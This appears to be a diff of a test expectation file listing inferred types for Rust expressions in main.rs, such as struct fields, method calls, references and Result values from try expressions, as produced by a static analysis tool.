main.rs:919:5:920:13 | S | -| main.rs:947:30:947:30 | S | | main.rs:919:5:920:13 | S | -| main.rs:949:26:949:32 | from_if | | main.rs:884:5:888:5 | MyOption | -| main.rs:949:26:949:32 | from_if | T | main.rs:919:5:920:13 | S | -| main.rs:951:13:951:22 | from_match | | main.rs:884:5:888:5 | MyOption | -| main.rs:951:13:951:22 | from_match | T | main.rs:919:5:920:13 | S | -| main.rs:951:26:954:9 | match ... { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:951:26:954:9 | match ... { ... } | T | main.rs:919:5:920:13 | S | -| main.rs:952:21:952:38 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:952:21:952:38 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | -| main.rs:953:22:953:40 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:953:22:953:40 | ...::MySome(...) | T | main.rs:919:5:920:13 | S | -| main.rs:953:39:953:39 | S | | main.rs:919:5:920:13 | S | -| main.rs:955:26:955:35 | from_match | | main.rs:884:5:888:5 | MyOption | -| main.rs:955:26:955:35 | from_match | T | main.rs:919:5:920:13 | S | -| main.rs:957:13:957:21 | from_loop | | main.rs:884:5:888:5 | MyOption | -| main.rs:957:13:957:21 | from_loop | T | main.rs:919:5:920:13 | S | -| main.rs:957:25:962:9 | loop { ... } | | main.rs:884:5:888:5 | MyOption | -| main.rs:957:25:962:9 | loop { ... } | T | main.rs:919:5:920:13 | S | -| main.rs:959:23:959:40 | ...::MyNone(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:959:23:959:40 | ...::MyNone(...) | T | main.rs:919:5:920:13 | S | -| main.rs:961:19:961:37 | ...::MySome(...) | | main.rs:884:5:888:5 | MyOption | -| main.rs:961:19:961:37 | ...::MySome(...) | T | main.rs:919:5:920:13 | S | -| main.rs:961:36:961:36 | S | | main.rs:919:5:920:13 | S | -| main.rs:963:26:963:34 | from_loop | | main.rs:884:5:888:5 | MyOption | -| main.rs:963:26:963:34 | from_loop | T | main.rs:919:5:920:13 | S | -| main.rs:976:15:976:18 | SelfParam | | main.rs:969:5:970:19 | S | -| main.rs:976:15:976:18 | SelfParam | T | main.rs:975:10:975:10 | T | -| main.rs:976:26:978:9 | { ... } | | main.rs:975:10:975:10 | T | -| main.rs:977:13:977:16 | self | | main.rs:969:5:970:19 | S | -| main.rs:977:13:977:16 | self | T | main.rs:975:10:975:10 | T | -| main.rs:977:13:977:18 | self.0 | | main.rs:975:10:975:10 | T | -| main.rs:980:15:980:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:980:15:980:19 | SelfParam | &T | main.rs:969:5:970:19 | S | -| main.rs:980:15:980:19 | SelfParam | &T.T | main.rs:975:10:975:10 | T | -| main.rs:980:28:982:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:980:28:982:9 | { ... } | &T | main.rs:975:10:975:10 | T | -| main.rs:981:13:981:19 | &... | | file://:0:0:0:0 | & | -| main.rs:981:13:981:19 | &... | &T | main.rs:975:10:975:10 | T | -| main.rs:981:14:981:17 | self | | file://:0:0:0:0 | & | -| main.rs:981:14:981:17 | self | &T | main.rs:969:5:970:19 | S | -| main.rs:981:14:981:17 | self | &T.T | main.rs:975:10:975:10 | T | -| main.rs:981:14:981:19 | self.0 | | main.rs:975:10:975:10 | T | -| main.rs:984:15:984:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:984:15:984:25 | SelfParam | &T | main.rs:969:5:970:19 | S | -| main.rs:984:15:984:25 | SelfParam | &T.T | main.rs:975:10:975:10 | T | -| main.rs:984:34:986:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:984:34:986:9 | { ... } | &T | main.rs:975:10:975:10 | T | -| main.rs:985:13:985:19 | &... | | file://:0:0:0:0 | & | -| main.rs:985:13:985:19 | &... | &T | main.rs:975:10:975:10 | T | -| main.rs:985:14:985:17 | self | | file://:0:0:0:0 | & | -| main.rs:985:14:985:17 | self | &T | main.rs:969:5:970:19 | S | -| main.rs:985:14:985:17 | self | &T.T | main.rs:975:10:975:10 | T | -| main.rs:985:14:985:19 | self.0 | | main.rs:975:10:975:10 | T | -| main.rs:990:13:990:14 | x1 | | main.rs:969:5:970:19 | S | -| main.rs:990:13:990:14 | x1 | T | main.rs:972:5:973:14 | S2 | -| main.rs:990:18:990:22 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:990:18:990:22 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:990:20:990:21 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:991:26:991:27 | x1 | | main.rs:969:5:970:19 | S | -| main.rs:991:26:991:27 | x1 | T | main.rs:972:5:973:14 | S2 | -| main.rs:991:26:991:32 | x1.m1() | | main.rs:972:5:973:14 | S2 | -| main.rs:993:13:993:14 | x2 | | main.rs:969:5:970:19 | S | -| main.rs:993:13:993:14 | x2 | T | main.rs:972:5:973:14 | S2 | -| main.rs:993:18:993:22 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:993:18:993:22 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:993:20:993:21 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:995:26:995:27 | x2 | | main.rs:969:5:970:19 | S | -| main.rs:995:26:995:27 | x2 | T | main.rs:972:5:973:14 | S2 | -| main.rs:995:26:995:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:995:26:995:32 | x2.m2() | &T | main.rs:972:5:973:14 | S2 | -| main.rs:996:26:996:27 | x2 | | main.rs:969:5:970:19 | S | -| main.rs:996:26:996:27 | x2 | T | main.rs:972:5:973:14 | S2 | -| main.rs:996:26:996:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:996:26:996:32 | x2.m3() | &T | main.rs:972:5:973:14 | S2 | -| main.rs:998:13:998:14 | x3 | | main.rs:969:5:970:19 | S | -| main.rs:998:13:998:14 | x3 | T | main.rs:972:5:973:14 | S2 | -| main.rs:998:18:998:22 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:998:18:998:22 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:998:20:998:21 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:1000:26:1000:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:1000:26:1000:41 | ...::m2(...) | &T | main.rs:972:5:973:14 | S2 | -| main.rs:1000:38:1000:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1000:38:1000:40 | &x3 | &T | main.rs:969:5:970:19 | S | -| main.rs:1000:38:1000:40 | &x3 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1000:39:1000:40 | x3 | | main.rs:969:5:970:19 | S | -| main.rs:1000:39:1000:40 | x3 | T | main.rs:972:5:973:14 | S2 | -| main.rs:1001:26:1001:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:1001:26:1001:41 | ...::m3(...) | &T | main.rs:972:5:973:14 | S2 | -| main.rs:1001:38:1001:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:1001:38:1001:40 | &x3 | &T | main.rs:969:5:970:19 | S | -| main.rs:1001:38:1001:40 | &x3 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1001:39:1001:40 | x3 | | main.rs:969:5:970:19 | S | -| main.rs:1001:39:1001:40 | x3 | T | main.rs:972:5:973:14 | S2 | -| main.rs:1003:13:1003:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:1003:13:1003:14 | x4 | &T | main.rs:969:5:970:19 | S | -| main.rs:1003:13:1003:14 | x4 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1003:18:1003:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1003:18:1003:23 | &... | &T | main.rs:969:5:970:19 | S | -| main.rs:1003:18:1003:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1003:19:1003:23 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:1003:19:1003:23 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:1003:21:1003:22 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:1005:26:1005:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1005:26:1005:27 | x4 | &T | main.rs:969:5:970:19 | S | -| main.rs:1005:26:1005:27 | x4 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1005:26:1005:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:1005:26:1005:32 | x4.m2() | &T | main.rs:972:5:973:14 | S2 | -| main.rs:1006:26:1006:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:1006:26:1006:27 | x4 | &T | main.rs:969:5:970:19 | S | -| main.rs:1006:26:1006:27 | x4 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1006:26:1006:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:1006:26:1006:32 | x4.m3() | &T | main.rs:972:5:973:14 | S2 | -| main.rs:1008:13:1008:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:1008:13:1008:14 | x5 | &T | main.rs:969:5:970:19 | S | -| main.rs:1008:13:1008:14 | x5 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1008:18:1008:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1008:18:1008:23 | &... | &T | main.rs:969:5:970:19 | S | -| main.rs:1008:18:1008:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1008:19:1008:23 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:1008:19:1008:23 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:1008:21:1008:22 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:1010:26:1010:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1010:26:1010:27 | x5 | &T | main.rs:969:5:970:19 | S | -| main.rs:1010:26:1010:27 | x5 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1010:26:1010:32 | x5.m1() | | main.rs:972:5:973:14 | S2 | -| main.rs:1011:26:1011:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:1011:26:1011:27 | x5 | &T | main.rs:969:5:970:19 | S | -| main.rs:1011:26:1011:27 | x5 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1011:26:1011:29 | x5.0 | | main.rs:972:5:973:14 | S2 | -| main.rs:1013:13:1013:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:1013:13:1013:14 | x6 | &T | main.rs:969:5:970:19 | S | -| main.rs:1013:13:1013:14 | x6 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1013:18:1013:23 | &... | | file://:0:0:0:0 | & | -| main.rs:1013:18:1013:23 | &... | &T | main.rs:969:5:970:19 | S | -| main.rs:1013:18:1013:23 | &... | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1013:19:1013:23 | S(...) | | main.rs:969:5:970:19 | S | -| main.rs:1013:19:1013:23 | S(...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:1013:21:1013:22 | S2 | | main.rs:972:5:973:14 | S2 | -| main.rs:1015:26:1015:30 | (...) | | main.rs:969:5:970:19 | S | -| main.rs:1015:26:1015:30 | (...) | T | main.rs:972:5:973:14 | S2 | -| main.rs:1015:26:1015:35 | ... .m1() | | main.rs:972:5:973:14 | S2 | -| main.rs:1015:27:1015:29 | * ... | | main.rs:969:5:970:19 | S | -| main.rs:1015:27:1015:29 | * ... | T | main.rs:972:5:973:14 | S2 | -| main.rs:1015:28:1015:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:1015:28:1015:29 | x6 | &T | main.rs:969:5:970:19 | S | -| main.rs:1015:28:1015:29 | x6 | &T.T | main.rs:972:5:973:14 | S2 | -| main.rs:1022:16:1022:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1022:16:1022:20 | SelfParam | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | -| main.rs:1025:16:1025:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1025:16:1025:20 | SelfParam | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | -| main.rs:1025:32:1027:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1025:32:1027:9 | { ... } | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | -| main.rs:1026:13:1026:16 | self | | file://:0:0:0:0 | & | -| main.rs:1026:13:1026:16 | self | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | -| main.rs:1026:13:1026:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:1026:13:1026:22 | self.foo() | &T | main.rs:1020:5:1028:5 | Self [trait MyTrait] | -| main.rs:1034:16:1034:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1034:16:1034:20 | SelfParam | &T | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1034:36:1036:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1034:36:1036:9 | { ... } | &T | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1035:13:1035:16 | self | | file://:0:0:0:0 | & | -| main.rs:1035:13:1035:16 | self | &T | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1040:13:1040:13 | x | | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1040:17:1040:24 | MyStruct | | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1041:9:1041:9 | x | | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1041:9:1041:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:1041:9:1041:15 | x.bar() | &T | main.rs:1030:5:1030:20 | MyStruct | -| main.rs:1051:16:1051:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1051:16:1051:20 | SelfParam | &T | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1051:16:1051:20 | SelfParam | &T.T | main.rs:1050:10:1050:10 | T | -| main.rs:1051:32:1053:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1051:32:1053:9 | { ... } | &T | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1051:32:1053:9 | { ... } | &T.T | main.rs:1050:10:1050:10 | T | -| main.rs:1052:13:1052:16 | self | | file://:0:0:0:0 | & | -| main.rs:1052:13:1052:16 | self | &T | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1052:13:1052:16 | self | &T.T | main.rs:1050:10:1050:10 | T | -| main.rs:1057:13:1057:13 | x | | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1057:13:1057:13 | x | T | main.rs:1046:5:1046:13 | S | -| main.rs:1057:17:1057:27 | MyStruct(...) | | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1057:17:1057:27 | MyStruct(...) | T | main.rs:1046:5:1046:13 | S | -| main.rs:1057:26:1057:26 | S | | main.rs:1046:5:1046:13 | S | -| main.rs:1058:9:1058:9 | x | | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1058:9:1058:9 | x | T | main.rs:1046:5:1046:13 | S | -| main.rs:1058:9:1058:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:1058:9:1058:15 | x.foo() | &T | main.rs:1048:5:1048:26 | MyStruct | -| main.rs:1058:9:1058:15 | x.foo() | &T.T | main.rs:1046:5:1046:13 | S | -| main.rs:1066:15:1066:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1066:15:1066:19 | SelfParam | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1066:31:1068:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1066:31:1068:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1067:13:1067:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1067:13:1067:19 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1067:14:1067:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1067:14:1067:19 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1067:15:1067:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1067:15:1067:19 | &self | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1067:16:1067:19 | self | | file://:0:0:0:0 | & | -| main.rs:1067:16:1067:19 | self | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1070:15:1070:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:1070:15:1070:25 | SelfParam | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1070:37:1072:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1070:37:1072:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1071:13:1071:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1071:13:1071:19 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1071:14:1071:19 | &... | | file://:0:0:0:0 | & | -| main.rs:1071:14:1071:19 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1071:15:1071:19 | &self | | file://:0:0:0:0 | & | -| main.rs:1071:15:1071:19 | &self | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1071:16:1071:19 | self | | file://:0:0:0:0 | & | -| main.rs:1071:16:1071:19 | self | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1074:15:1074:15 | x | | file://:0:0:0:0 | & | -| main.rs:1074:15:1074:15 | x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1074:34:1076:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1074:34:1076:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1075:13:1075:13 | x | | file://:0:0:0:0 | & | -| main.rs:1075:13:1075:13 | x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1078:15:1078:15 | x | | file://:0:0:0:0 | & | -| main.rs:1078:15:1078:15 | x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1078:34:1080:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1078:34:1080:9 | { ... } | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1079:13:1079:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1079:13:1079:16 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1079:14:1079:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1079:14:1079:16 | &... | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1079:15:1079:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1079:15:1079:16 | &x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1079:16:1079:16 | x | | file://:0:0:0:0 | & | -| main.rs:1079:16:1079:16 | x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1084:13:1084:13 | x | | main.rs:1063:5:1063:13 | S | -| main.rs:1084:17:1084:20 | S {...} | | main.rs:1063:5:1063:13 | S | -| main.rs:1085:9:1085:9 | x | | main.rs:1063:5:1063:13 | S | -| main.rs:1085:9:1085:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1085:9:1085:14 | x.f1() | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1086:9:1086:9 | x | | main.rs:1063:5:1063:13 | S | -| main.rs:1086:9:1086:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1086:9:1086:14 | x.f2() | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1087:9:1087:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1087:9:1087:17 | ...::f3(...) | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1087:15:1087:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1087:15:1087:16 | &x | &T | main.rs:1063:5:1063:13 | S | -| main.rs:1087:16:1087:16 | x | | main.rs:1063:5:1063:13 | S | -| main.rs:1101:43:1104:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1101:43:1104:5 | { ... } | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1101:43:1104:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1102:13:1102:13 | x | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1102:17:1102:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1102:17:1102:30 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1102:17:1102:31 | TryExpr | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1102:28:1102:29 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1103:9:1103:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1103:9:1103:22 | ...::Ok(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1103:9:1103:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1103:20:1103:21 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1107:46:1111:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1107:46:1111:5 | { ... } | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1107:46:1111:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1108:13:1108:13 | x | | file://:0:0:0:0 | Result | -| main.rs:1108:13:1108:13 | x | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1108:17:1108:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1108:17:1108:30 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1108:28:1108:29 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1109:13:1109:13 | y | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1109:17:1109:17 | x | | file://:0:0:0:0 | Result | -| main.rs:1109:17:1109:17 | x | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1109:17:1109:18 | TryExpr | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1110:9:1110:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1110:9:1110:22 | ...::Ok(...) | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1110:9:1110:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1110:20:1110:21 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1114:40:1119:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1114:40:1119:5 | { ... } | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1114:40:1119:5 | { ... } | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1115:13:1115:13 | x | | file://:0:0:0:0 | Result | -| main.rs:1115:13:1115:13 | x | T | file://:0:0:0:0 | Result | -| main.rs:1115:13:1115:13 | x | T.T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1115:17:1115:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1115:17:1115:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | -| main.rs:1115:17:1115:42 | ...::Ok(...) | T.T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1115:28:1115:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1115:28:1115:41 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1115:39:1115:40 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1117:17:1117:17 | x | | file://:0:0:0:0 | Result | -| main.rs:1117:17:1117:17 | x | T | file://:0:0:0:0 | Result | -| main.rs:1117:17:1117:17 | x | T.T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1117:17:1117:18 | TryExpr | | file://:0:0:0:0 | Result | -| main.rs:1117:17:1117:18 | TryExpr | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1117:17:1117:29 | ... .map(...) | | file://:0:0:0:0 | Result | -| main.rs:1118:9:1118:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1118:9:1118:22 | ...::Ok(...) | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1118:9:1118:22 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1118:20:1118:21 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1122:30:1122:34 | input | | file://:0:0:0:0 | Result | -| main.rs:1122:30:1122:34 | input | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1122:30:1122:34 | input | T | main.rs:1122:20:1122:27 | T | -| main.rs:1122:69:1129:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1122:69:1129:5 | { ... } | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1122:69:1129:5 | { ... } | T | main.rs:1122:20:1122:27 | T | -| main.rs:1123:13:1123:17 | value | | main.rs:1122:20:1122:27 | T | -| main.rs:1123:21:1123:25 | input | | file://:0:0:0:0 | Result | -| main.rs:1123:21:1123:25 | input | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1123:21:1123:25 | input | T | main.rs:1122:20:1122:27 | T | -| main.rs:1123:21:1123:26 | TryExpr | | main.rs:1122:20:1122:27 | T | -| main.rs:1124:22:1124:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1124:22:1124:38 | ...::Ok(...) | T | main.rs:1122:20:1122:27 | T | -| main.rs:1124:22:1127:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | -| main.rs:1124:33:1124:37 | value | | main.rs:1122:20:1122:27 | T | -| main.rs:1124:53:1127:9 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1124:53:1127:9 | { ... } | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1126:13:1126:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | -| main.rs:1126:13:1126:34 | ...::Ok::<...>(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1128:9:1128:23 | ...::Err(...) | | file://:0:0:0:0 | Result | -| main.rs:1128:9:1128:23 | ...::Err(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1128:9:1128:23 | ...::Err(...) | T | main.rs:1122:20:1122:27 | T | -| main.rs:1128:21:1128:22 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1132:37:1132:52 | try_same_error(...) | | file://:0:0:0:0 | Result | -| main.rs:1132:37:1132:52 | try_same_error(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1132:37:1132:52 | try_same_error(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1136:37:1136:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | -| main.rs:1136:37:1136:55 | try_convert_error(...) | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1136:37:1136:55 | try_convert_error(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1140:37:1140:49 | try_chained(...) | | file://:0:0:0:0 | Result | -| main.rs:1140:37:1140:49 | try_chained(...) | E | main.rs:1097:5:1098:14 | S2 | -| main.rs:1140:37:1140:49 | try_chained(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1144:37:1144:63 | try_complex(...) | | file://:0:0:0:0 | Result | -| main.rs:1144:37:1144:63 | try_complex(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1144:37:1144:63 | try_complex(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1144:49:1144:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1144:49:1144:62 | ...::Ok(...) | E | main.rs:1094:5:1095:14 | S1 | -| main.rs:1144:49:1144:62 | ...::Ok(...) | T | main.rs:1094:5:1095:14 | S1 | -| main.rs:1144:60:1144:61 | S1 | | main.rs:1094:5:1095:14 | S1 | -| main.rs:1152:5:1152:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1153:5:1153:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1153:20:1153:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1153:41:1153:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:370:26:370:29 | SelfParam | | main.rs:369:5:373:5 | Self [trait OverlappingTrait] | +| main.rs:372:28:372:31 | SelfParam | | main.rs:369:5:373:5 | Self [trait OverlappingTrait] | +| main.rs:372:34:372:35 | s1 | | main.rs:366:5:367:14 | S1 | +| main.rs:377:26:377:29 | SelfParam | | main.rs:366:5:367:14 | S1 | +| main.rs:377:38:379:9 | { ... } | | main.rs:366:5:367:14 | S1 | +| main.rs:382:28:382:31 | SelfParam | | main.rs:366:5:367:14 | S1 | +| main.rs:382:34:382:35 | s1 | | main.rs:366:5:367:14 | S1 | +| main.rs:382:48:384:9 | { ... } | | main.rs:366:5:367:14 | S1 | +| main.rs:389:26:389:29 | SelfParam | | main.rs:366:5:367:14 | S1 | +| main.rs:389:38:391:9 | { ... } | | main.rs:366:5:367:14 | S1 | +| main.rs:390:13:390:16 | self | | main.rs:366:5:367:14 | S1 | +| main.rs:394:28:394:31 | SelfParam | | main.rs:366:5:367:14 | S1 | +| main.rs:394:40:396:9 | { ... } | | main.rs:366:5:367:14 | S1 | +| main.rs:395:13:395:16 | self | | main.rs:366:5:367:14 | S1 | +| main.rs:400:13:400:13 | x | | main.rs:366:5:367:14 | S1 | +| main.rs:400:17:400:18 | S1 | | main.rs:366:5:367:14 | S1 | +| main.rs:401:26:401:26 | x | | main.rs:366:5:367:14 | S1 | +| main.rs:401:26:401:42 | x.common_method() | | main.rs:366:5:367:14 | S1 | +| main.rs:402:26:402:26 | x | | main.rs:366:5:367:14 | S1 | +| main.rs:402:26:402:44 | x.common_method_2() | | main.rs:366:5:367:14 | S1 | +| main.rs:419:19:419:22 | SelfParam | | main.rs:417:5:420:5 | Self [trait FirstTrait] | +| main.rs:424:19:424:22 | SelfParam | | main.rs:422:5:425:5 | Self [trait SecondTrait] | +| main.rs:427:64:427:64 | x | | main.rs:427:45:427:61 | T | +| main.rs:429:13:429:14 | s1 | | main.rs:427:35:427:42 | I | +| main.rs:429:18:429:18 | x | | main.rs:427:45:427:61 | T | +| 